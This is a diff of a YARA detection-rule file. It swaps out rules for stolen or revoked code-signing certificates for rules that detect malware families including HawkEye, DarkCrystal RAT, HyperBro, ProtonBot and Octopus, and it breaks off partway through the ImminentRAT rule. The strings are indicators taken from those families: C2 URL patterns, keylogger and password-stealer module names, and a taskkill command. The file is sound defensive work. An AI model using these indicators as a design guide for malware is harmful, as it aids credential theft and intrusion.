+		$s9 = "/?m=d&p1=" fullword ascii
+		$s10 = "http://%s/%s/?m=e&p1=%s&p2=%s&p3=%s" fullword ascii
+		$s11 = "taskkill.exe /im iexplore.exe /f" fullword ascii
+		$s12 = "GetParent" fullword ascii
+		$s13 = "DllRegisterServer" fullword ascii
+		$dll1 = "AutoUpdate.dll" fullword ascii
+		$dll2 = "dropper-ie64.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bamboo Connect s.r.o." and pe.signatures[i].serial=="00:b2:e7:30:b0:52:6f:36:fa:f7:d0:93:d4:8d:6d:99:97")
+		uint16(0)==0x5a4d and ((1 of ($dll*) and 7 of ($s*)) or (11 of ($*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2C90Eaf4De3Afc03Ba924C719435C2A3 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent03 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known Delphi downloader agent downloading second stage payload, notably from discord"
 		author = "ditekSHen"
-		id = "0b1ae208-bf81-55d0-b4e5-b1c1f7556387"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "18493e3d-224f-5000-8e44-9ffda9c65cf0"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1559-L1570"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2732-L2753"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "792898b34ebe4dfc603b3f3b54777a86827a52fd3699a799e95c436317be77da"
+		logic_hash = "dea63edd48759fd04875e2eb8ac8b00ff801767f071337c667e31c15f0925cdc"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "6b916111ffbd6736afa569d7d940ada544daf3b18213a0da3025b20973a577dc"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.DLAgent03"
+
+	strings:
+		$delph1 = "FastMM Borland Edition" fullword ascii
+		$delph2 = "SOFTWARE\\Borland\\Delphi" ascii
+		$v1_1 = "InternetOpenUrlA" fullword ascii
+		$v1_2 = "CreateFileA" fullword ascii
+		$v1_3 = "WriteFile" fullword ascii
+		$v2_1 = "WinHttp.WinHttpRequest.5.1" fullword ascii
+		$v2_2 = { 6f 70 65 6e ?? ?? ?? ?? ?? 73 65 6e 64 ?? ?? ?? ?? 72 65 73 70 6f 6e 73 65 74 65 78 74 }
+		$url1 = "https://discord.com/" fullword ascii
+		$url2 = "http://www.superutils.com" fullword ascii
+		$url3 = "http://www.xboxharddrive.com" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AntiFIX s.r.o." and pe.signatures[i].serial=="2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3")
+		uint16(0)==0x5a4d and 1 of ($delph*) and 1 of ($url*) and ( all of ($v1*) or 1 of ($v2*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Bdc81Bc76090Dae0Eee2E1Eb744A4F9A : FILE
+rule DITEKSHEN_MALWARE_Win_Salfram : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Salfram executables"
 		author = "ditekSHen"
-		id = "9c91e39e-a120-537d-a24c-f0b8ffe9dd6e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "323e1c8e-2184-5831-9af5-a460c55fbf7c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1572-L1583"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2755-L2766"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "90c695b0cffd4786471faca21b77161ae6e930540766c4f18796a7adea74b6f5"
+		logic_hash = "19d7934727baa870dcd3ec77ba596cd64e49763477ba3feb7baec5ab6d3866d3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a3b0a1cd3998688f294838758688f96adee7d5aa98ec43709b8868d6914e96c1"
-		importance = 20
+		snort2_sid = "920085-920087"
+		snort3_sid = "920085"
+		clamav_sig = "MALWARE.Win.Trojan.Salfram"
+
+	strings:
+		$s1 = "!This Salfram cannot be run in DOS mode." fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ALM4U GmbH" and pe.signatures[i].serial=="00:bd:c8:1b:c7:60:90:da:e0:ee:e2:e1:eb:74:4a:4f:9a")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E38259Cf24Cc702Ce441B683Ad578911 : FILE
+rule DITEKSHEN_MALWARE_Win_Hawkeyev9
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
-		author = "ditekSHen"
-		id = "79e00e92-4ddb-5f87-8f60-78f326674c66"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		description = "Detects HawkEyeV9 payload"
+		author = "ditekshen"
+		id = "ca59aa45-fb55-5f9a-a224-8bd2b72ce5ac"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1585-L1596"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2768-L2793"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "53d135553b88484e2c40976a9eaa0eb3f4f34c40ce775c198dfd6552155d1859"
+		logic_hash = "d24111930dd0230c01963a90c9fbbc0a0a71df170c2ca116bb329e6158cb681c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "16304d4840d34a641f58fe7c94a7927e1ba4b3936638164525bedc5a406529f8"
-		importance = 20
+		tags = ""
+		clamav_sig = "MALWARE.Win.Trojan.HawkEyeV9"
+
+	strings:
+		$id1 = "HawkEye Keylogger - Reborn v9 - {0} Logs - {1} \\ {2}" wide
+		$id2 = "HawkEye Keylogger - Reborn v9{0}{1} Logs{0}{2} \\ {3}{0}{0}{4}" wide
+		$str1 = "_PasswordStealer" ascii
+		$str2 = "_KeyStrokeLogger" ascii
+		$str3 = "_ScreenshotLogger" ascii
+		$str4 = "_ClipboardLogger" ascii
+		$str5 = "_WebCamLogger" ascii
+		$str6 = "_AntiVirusKiller" ascii
+		$str7 = "_ProcessElevation" ascii
+		$str8 = "_DisableCommandPrompt" ascii
+		$str9 = "_WebsiteBlocker" ascii
+		$str10 = "_DisableTaskManager" ascii
+		$str11 = "_AntiDebugger" ascii
+		$str12 = "_WebsiteVisitorSites" ascii
+		$str13 = "_DisableRegEdit" ascii
+		$str14 = "_ExecutionDelay" ascii
+		$str15 = "_InstallStartupPersistance" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Akhirah Technologies Inc." and pe.signatures[i].serial=="00:e3:82:59:cf:24:cc:70:2c:e4:41:b6:83:ad:57:89:11")
+		int16 (0)==0x5a4d and (1 of ($id*) or 5 of ($str*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4929Ab561C812Af93Ddb9758B545F546 : FILE
+rule DITEKSHEN_MALWARE_Win_Hyperbro : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HyperBro (class names) payload"
 		author = "ditekSHen"
-		id = "e57e442a-6fe3-5d09-bbc4-d290a7a80090"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "539b796d-297b-5e2f-84df-282ceaa57bd4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1598-L1609"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2795-L2813"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a03f37840b24456a4a2ef8e7c456dc99396886682156e4e95f7547bf38d8dc4d"
+		logic_hash = "f6e86ef963de885e0bf92ead075e265618c0745104d223302edd824d409c45cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0946bf998f8a463a1c167637537f3eba35205b748efc444a2e7f935dc8dd6dc7"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.HyperBro"
+
+	strings:
+		$s1 = "VTClipboardInfo" ascii wide
+		$s2 = "VTClipboardMgr" ascii wide
+		$s3 = "VTFileRename" ascii wide
+		$s4 = "VTFileRetime" ascii wide
+		$s5 = "VTKeyboardInfo" ascii wide
+		$s6 = "VTKeyboardMgr" ascii wide
+		$s7 = "VTRegeditKeyInfo" ascii wide
+		$s8 = "VTRegeditMgr" ascii wide
+		$s9 = "VTRegeditValueInfo" ascii wide
+		$s10 = "VTFileDataRes" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Everything Wow s.r.o." and pe.signatures[i].serial=="49:29:ab:56:1c:81:2a:f9:3d:db:97:58:b5:45:f5:46")
+		uint16(0)==0x5a4d and 9 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B649A966410F62999C939384Af553919 : FILE
+rule DITEKSHEN_MALWARE_Linux_UNK01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown/unidentified Linux malware"
 		author = "ditekSHen"
-		id = "6b88b712-6d25-5152-80bf-562bf82f336c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "24c6ff35-9378-5a6b-90d1-9740917b1b72"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1611-L1622"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2815-L2836"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "231b0aa0a1e7c72552d683cc4f93b39444f7c1ebb3bb719bee224aa62e9a28dd"
+		logic_hash = "8bb4822c1c7e0f52726ecafafa696d83c741257587f351360c5295163c245450"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a0c6cd25e1990c0d03b6ec1ad5a140f2c8014a8c2f1f4f227ee2597df91a8b6c"
-		importance = 20
+
+	strings:
+		$f1 = "%sresponse.php?status" ascii
+		$f2 = "%supstream.php?mid=%s&os=%s" ascii fullword
+		$f3 = "%supstream.php?tid=%" ascii
+		$f4 = "%sindex.php?token=%.32s&flag=%d&name=%s" ascii fullword
+		$f5 = "%sactive_off.php?id=%d&uniqu=%d" ascii fullword
+		$s1 = "lock:%i usable num:%i n:%i" fullword ascii
+		$s2 = "tid:%.*s tNumber:%i" fullword ascii
+		$s3 = "init.php" fullword ascii
+		$s4 = "mod_drone" fullword ascii
+		$s5 = "new_mid" fullword ascii
+		$s6 = "&exists[]=" fullword ascii
+		$s7 = "&mod[]=" fullword ascii
+		$s8 = "shutdown" fullword ascii
+		$s9 = "&mac[]=%02X%02X%02X%02X%02X%02X" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "F.A.T. SARL" and pe.signatures[i].serial=="00:b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19")
+		uint16(0)==0x457f and (3 of ($f*) or 6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_22367Dbefd0A325C3893Af52547B14Fa : FILE
+rule DITEKSHEN_MALWARE_Linux_UNK02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects unknown/unidentified Linux malware"
 		author = "ditekSHen"
-		id = "301f126d-1ff6-5512-a38b-ca1dd7d67765"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6e62df0d-d329-5e52-af74-2a1f19dc4cca"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1624-L1635"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2838-L2852"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7b717a86ba0a6c3c8ba59c7b7c97dae802c351340ad67a9baf3f526b084e995a"
+		logic_hash = "4cde21932c27fe3c08495f557b5e086b1fb668d8b5508249891828b9ed48edd4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b5cb5b256e47a30504392c37991e4efc4ce838fde4ad8df47456d30b417e6d5c"
-		importance = 20
+
+	strings:
+		$rf1 = "[]A\\A]A^A_" ascii
+		$rf2 = "[A\\A]A^A_]" ascii
+		$f1 = "/bin/basH" ascii fullword
+		$f2 = "/proc/seH" ascii fullword
+		$f3 = "/dev/ptsH" ascii fullword
+		$f4 = "pqrstuvwxyzabcde" ascii fullword
+		$f5 = "libnss_%s.so.%d.%d" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "F.lux Software LLC" and pe.signatures[i].serial=="22:36:7d:be:fd:0a:32:5c:38:93:af:52:54:7b:14:fa")
+		uint16(0)==0x457f and ( all of ($f*) and #rf1>3 and #rf2>3)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E04A344B397F752A45B128A594A3D6B5 : FILE
+rule DITEKSHEN_MALWARE_Win_Itranslatorexe : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects iTranslator EXE payload"
 		author = "ditekSHen"
-		id = "85a7c3f7-a449-54ad-aac4-53f2a2c6c30e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "763e8fa4-cf5c-54bc-9310-4e4171bf5a71"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1637-L1648"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2854-L2874"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "db3c854b68387aa5c6976783e6f79f99fe3389344b64d38c603d298128193e12"
+		logic_hash = "3c796d58cdf2d4dc4c838d05fb862640c7f9de6c7e8ebb5fb0002821354208d9"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "d73229f3b7c2025a5a56e6e189be8a9120f1b3b0d8a78b7f62eff5c8d2293330"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.iTranslator_EXE"
+
+	strings:
+		$s1 = "\\itranslator\\wintrans.exe" fullword wide
+		$s2 = "\\SuperX\\SuperX\\Obj\\Release\\SharpX.pdb" fullword ascii
+		$s3 = "\\itranslator\\itranslator.dll" fullword ascii
+		$s4 = ":Intoskrnl.exe" fullword ascii
+		$s5 = "InjectDrv.sys" fullword ascii
+		$s6 = "SharpX.dll" fullword wide
+		$s7 = "GetMicrosoftEdgeProcessId" ascii
+		$s8 = ".php?type=is&ch=" ascii
+		$s9 = ".php?uid=" ascii
+		$s10 = "&mc=" fullword ascii
+		$s11 = "&os=" fullword ascii
+		$s12 = "&x=32" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Highweb Ireland Operations Limited" and pe.signatures[i].serial=="00:e0:4a:34:4b:39:7f:75:2a:45:b1:28:a5:94:a3:d6:b5")
+		uint16(0)==0x5a4d and 8 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00A7989F8Be0C82D35A19E7B3Dd4Be30E5 : FILE
+rule DITEKSHEN_MALWARE_Win_Itranslatordll : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects iTranslator DLL payload"
 		author = "ditekSHen"
-		id = "0bb81ddc-b63b-534b-852f-7b0a2feeef9e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "df05da78-3626-5eb5-81a2-a93fba844484"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1650-L1661"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2876-L2892"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "66d600d97b5aca1aa9a302671f06aef0d5c4ae9829d6cb16f191bd4c59462d2e"
+		logic_hash = "ca0479efd241058f358553b6382a1987a5b4c069965f4adb88cd2f3fc4bef21a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "3e93aadb509b542c065801f04cffb34956f84ee8c322d65c7ae8e23d27fe5fbf"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.iTranslator_DLL"
+
+	strings:
+		$d1 = "system32\\drivers\\%S.sys" fullword wide
+		$d2 = "\\windows\\system32\\winlogon.exe" fullword ascii
+		$d3 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\%s" fullword wide
+		$d4 = "\\Registry\\Machine\\SYSTEM\\ControlSet001\\services\\webssx" fullword wide
+		$d5 = "\\Device\\CtrlSM" fullword wide
+		$d6 = "\\DosDevices\\CtrlSM" fullword wide
+		$d7 = "\\driver_wfp\\CbFlt\\Bin\\CbFlt.pdb" ascii
+		$d8 = ".php" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Instamix Limited" and pe.signatures[i].serial=="00:a7:98:9f:8b:e0:c8:2d:35:a1:9e:7b:3d:d4:be:30:e5")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_39F56251Df2088223Cc03494084E6081 : FILE
+rule DITEKSHEN_MALWWARE_Win_Octopus : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Octopus trojan payload"
 		author = "ditekSHen"
-		id = "4b5c27e0-0b3e-52e6-a867-1c2adadf3af3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "eb092e23-864f-52f3-bfa4-7e3c616d3984"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1663-L1674"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2894-L2917"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dc757f831b2537f12151f4f9e886ccf83bacfbcaea3ce12b2199f13ae00b199e"
+		logic_hash = "012b75c94be3021dbcc5b8e8bd62f807c9aa8bc0df94f830a5294aaf0d21b9fc"
 		score = 75
-		quality = 75
+		quality = 23
 		tags = "FILE"
-		thumbprint = "66f32cf78b8f685a2c6f5bf361c9b0f9a9678de11a8e7931e2205d0ef65af05c"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Octopus"
+
+	strings:
+		$s1 = "\\Mozilla\\Firefox\\Profiles\\" fullword wide
+		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
+		$s3 = "\\wbem\\WMIC.exe" fullword wide
+		$s4 = ".profiles.ini" fullword wide
+		$s5 = "PushEBP_" ascii
+		$s6 = "MovEBP_ESP_" ascii
+		$s7 = "Embarcadero Delphi for Win32 compiler" ascii
+		$s8 = "TempWmicBatchFile.bat" fullword wide
+		$wq1 = "computersystem get Name /format:list" wide
+		$wq2 = "os get installdate /format:list" wide
+		$wq3 = "get serialnumber /format:list" wide
+		$wq4 = "\\\\\\\\.\\\\PHYSICALDRIVE" wide
+		$wq5 = "path CIM_LogicalDiskBasedOnPartition" wide
+		$wq6 = "get Antecedent,Dependent" wide
+		$wq7 = "path win32_physicalmedia" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Inter Med Pty. Ltd." and pe.signatures[i].serial=="39:f5:62:51:df:20:88:22:3c:c0:34:94:08:4e:60:81")
+		uint16(0)==0x5a4d and (6 of ($s*) and 5 of ($wq*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009Cfbb4C69008821Aaacecde97Ee149Ab : FILE
+rule DITEKSHEN_MALWARE_Win_Caspertroy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CasperTroy payload"
 		author = "ditekSHen"
-		id = "0b0d815b-2232-5159-9b78-9227d9b2ec11"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "822c3231-60ba-5e60-8df8-06dea80b318a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1676-L1687"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2919-L2931"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "de04f12b1fb1e12860bf4ac077b700d180b8d412890922b75264319559fbd997"
+		logic_hash = "ce070b1e6279ef9fa47f84da7c5166cd93b3e7a0f95541ae14c048b2af9bc431"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "6c7e917a2cc2b2228d6d4a0556bda6b2db9f06691749d2715af9a6a283ec987b"
-		importance = 20
+
+	strings:
+		$s1 = "DllTroy.dll" fullword ascii
+		$s2 = "Content-Disposition: form-data; name=\"image\"; filename=\"title.gif\"" fullword ascii
+		$s3 = "Content-Disposition: form-data; name=\"COOKIE_ID\"" fullword ascii
+		$s4 = "Content-Disposition: form-data; name=\"PHP_SESS_ID\"" fullword ascii
+		$s5 = "Content-Disposition: form-data; name=\"SESS_ID\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kivaliz Prest s.r.l." and pe.signatures[i].serial=="00:9c:fb:b4:c6:90:08:82:1a:aa:ce:cd:e9:7e:e1:49:ab")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008Cff807Edaf368A60E4106906D8Df319 : FILE
+rule DITEKSHEN_MALWARE_Win_Rasftuby : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Rasftuby/DarkCrystal"
 		author = "ditekSHen"
-		id = "ad8bed7f-3bc6-53d3-9e7a-0868e2ad267a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "908624a8-0068-5512-a5d0-77ce1f4efd80"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1689-L1700"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2933-L2950"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48752aff88cd3d546757a4220a64ca17cc9a5f00a42d2bc0571dedf5de769bc2"
+		logic_hash = "b769c1986d23173cf8a8a3c8a14d388a7c0327e46d936fc97c449dc55f2a5575"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c97d809c73f376cdf8062329b357b16c9da9d14261895cd52400f845a2d6bdb1"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.DarkCrystal.RAT-Rasftuby"
+
+	strings:
+		$s1 = "/DCRS/main.php?data=active" fullword ascii wide
+		$s2 = "/socket.php?type=__ds_" ascii wide
+		$s3 = "/uploader.php" fullword ascii wide
+		$s4 = "del \\\"%USERPROFILE%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\System.lnk\\\"" fullword ascii wide
+		$s5 = "Host:{0},Port:{1},User:{2},Pass:{3}<STR>" fullword ascii wide
+		$s6 = "keyloggerstart_status" fullword ascii wide
+		$s7 = "keyloggerstop_status" fullword ascii wide
+		$s8 = "[PRINT SCREEN]" fullword ascii wide
+		$s9 = "DCS.Internal" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KRAFT BOKS OOO" and pe.signatures[i].serial=="00:8c:ff:80:7e:da:f3:68:a6:0e:41:06:90:6d:8d:f3:19")
+		uint16(0)==0x5a4d and 5 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2924785Fd7990B2D510675176Dae2Bed : FILE
+rule DITEKSHEN_MALWARE_Win_Protonbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ProtonBot loader"
 		author = "ditekSHen"
-		id = "2aedb37c-8991-5750-b0c6-b9d6e7bb5e79"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b0d08378-0297-5e70-99f1-1dc0fec6fa01"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1702-L1713"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2952-L2969"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dbdd714575d3c5f9554026fea97c6e91073d30cf728396111a5106303bb7b624"
+		logic_hash = "b511dfd47109d36ffc7fcb23b49779e1164d50a28061ab724d7a2c744ac23ac8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "adbc44fda783b5fa817f66147d911fb81a0e2032a1c1527d1b3adbe55f9d682d"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.ProtonBot"
+
+	strings:
+		$x1 = "\\PROTON\\Release\\build.pdb" ascii
+		$x2 = "\\proton\\proton bot\\json.hpp" wide
+		$x3 = "proton bot" ascii wide
+		$s1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide
+		$s2 = "ranges.size() == 2 or ranges.size() == 4 or ranges.size() == 6" fullword wide
+		$s3 = "ref_stack.back()->is_array() or ref_stack.back()->is_object()" fullword wide
+		$s4 = "ktmw32.dll" fullword ascii
+		$s5 = "@detail@nlohmann@@" ascii
+		$s6 = "urlmon.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Neoopt LLC" and pe.signatures[i].serial=="29:24:78:5f:d7:99:0b:2d:51:06:75:17:6d:ae:2b:ed")
+		uint16(0)==0x5a4d and (2 of ($x*) or ( all of ($s*) and 1 of ($x*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F2C4B99487Ed33396D77029B477494Bc : FILE
+rule DITEKSHEN_MALWARE_Win_Imminentrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ImminentRAT"
 		author = "ditekSHen"
-		id = "594a5def-2516-5639-a72b-9b84b65de1e0"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "99831b32-d8a0-5814-bf41-491f607ee825"
+		date = "2024-05-28"
+		modified = "2024-05-28"
